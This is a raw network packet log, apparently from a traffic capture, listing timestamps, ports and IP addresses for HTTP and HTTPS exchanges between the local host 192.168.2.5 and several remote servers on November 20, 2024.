Nov 20, 2024 00:19:24.212642908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212691069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212694883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212724924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212739944 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212775946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212781906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212810993 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212831020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212842941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212871075 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212882042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212894917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212932110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212932110 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212965012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.212982893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.212999105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213016033 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213047028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213049889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213080883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213099003 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213129044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213145971 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213176012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213180065 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213211060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213227987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213243008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213257074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213277102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213293076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213310003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213346004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213360071 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213377953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213393927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213412046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213428020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213443995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213468075 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213478088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213490963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213510990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213522911 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213545084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213561058 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213577986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213598967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213612080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213627100 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213640928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213665962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213673115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213685989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213706970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213723898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213738918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213752031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213773012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213790894 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213807106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213828087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213840008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213871956 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213875055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213907957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213922024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213942051 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213956118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.213977098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.213993073 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.214010954 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.214027882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.214045048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.214066982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.214080095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.214095116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.214114904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.214131117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.214148045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.214169979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.214183092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.214193106 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.214215994 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.214232922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.214261055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.214266062 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.214343071 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.231065989 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.231168985 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.231221914 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.231221914 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.231237888 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.231249094 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.231321096 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.232850075 CET	443	62062	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:24.233663082 CET	62062	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:24.233695030 CET	443	62062	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:24.234741926 CET	443	62062	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:24.234807968 CET	62062	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:24.235981941 CET	62062	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:24.236047029 CET	443	62062	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:24.236186981 CET	62062	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:24.236200094 CET	443	62062	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:24.236223936 CET	62062	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:24.236273050 CET	443	62062	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:24.273770094 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.273859024 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.274434090 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.274476051 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.274512053 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.274524927 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.274554014 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.274573088 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.274612904 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.274760008 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.275573015 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.275588036 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.316684008 CET	443	62065	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:24.316740990 CET	443	62065	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:24.316926003 CET	443	62065	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:24.316963911 CET	62065	443	192.168.2.5	20.96.153.111
Nov 20, 2024 00:19:24.317023039 CET	62065	443	192.168.2.5	20.96.153.111
Nov 20, 2024 00:19:24.320708990 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.320758104 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.320804119 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.320822001 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.320841074 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.320894003 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.320894003 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.320904016 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.322251081 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.322304010 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.322357893 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.322357893 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.322365999 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.323440075 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.326975107 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:24.327012062 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:24.327084064 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:24.340945005 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.340956926 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.341315985 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:24.341339111 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:24.342154980 CET	62065	443	192.168.2.5	20.96.153.111
Nov 20, 2024 00:19:24.342176914 CET	443	62065	20.96.153.111	192.168.2.5
Nov 20, 2024 00:19:24.344814062 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.344923019 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.345319033 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.345438004 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.346330881 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.346348047 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.356949091 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.361665964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.377773046 CET	62062	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:24.413451910 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.413511992 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.413543940 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.413559914 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.413587093 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.413973093 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.414032936 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.414041042 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.414160967 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.414381027 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.415580034 CET	62063	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.415592909 CET	443	62063	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.452810049 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.452832937 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.452877045 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.452893019 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.452924013 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.452953100 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.452987909 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.490484953 CET	443	62062	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:24.490569115 CET	443	62062	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:24.490744114 CET	62062	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:24.491365910 CET	62062	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:24.491410017 CET	443	62062	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:24.496047020 CET	443	62067	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.496917963 CET	62067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.496947050 CET	443	62067	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.497450113 CET	62067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.497456074 CET	443	62067	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.499526978 CET	443	62071	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.499794960 CET	62071	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.499805927 CET	443	62071	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.500140905 CET	443	62071	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.501010895 CET	62071	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.501074076 CET	443	62071	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.501192093 CET	62071	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.514693022 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.514914036 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.514940977 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.515419006 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.515758991 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.515839100 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.515887022 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.523303986 CET	443	62068	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.523791075 CET	62068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.523833036 CET	443	62068	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.524321079 CET	62068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.524334908 CET	443	62068	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.545964956 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.546014071 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.546092987 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.546096087 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.546113968 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.546116114 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.546163082 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.546163082 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.546165943 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.547333002 CET	443	62071	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.547919035 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.547939062 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.547981024 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.547987938 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.548000097 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.548038960 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.548044920 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.548070908 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.563348055 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.588886023 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.588954926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.588990927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589014053 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589018106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589050055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589066982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589097977 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589103937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589138031 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589148045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589183092 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589190960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589225054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589237928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589274883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589313030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589346886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589360952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589380026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589396000 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589415073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589425087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589449883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589461088 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589484930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589498043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589519978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589534998 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589555025 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589586020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589603901 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589622021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589627981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589641094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589705944 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589706898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589759111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589809895 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589809895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589845896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589871883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589881897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589893103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589915037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589955091 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589966059 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.589967966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.589998007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590022087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590033054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590051889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590101957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590102911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590140104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590183020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590188026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590238094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590270996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590286016 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590315104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590322971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590416908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590423107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590461016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590468884 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590493917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590507030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590528965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590540886 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590563059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590572119 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590596914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590606928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590646982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590682030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590688944 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590709925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590729952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590743065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590754986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590775967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590787888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590807915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590841055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590861082 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590873003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590905905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590905905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.590926886 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.590955973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.591001987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.591007948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.591058016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.591078997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.591104031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.591109991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.591146946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.591160059 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.591180086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.591190100 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.591212034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.591233969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.591259956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.591264009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.591289997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.591356039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.591360092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.591409922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.591413021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.591445923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.591479063 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.591486931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.591511965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.591525078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.591543913 CET	80	49762	185.215.113.206	192.168.2.5
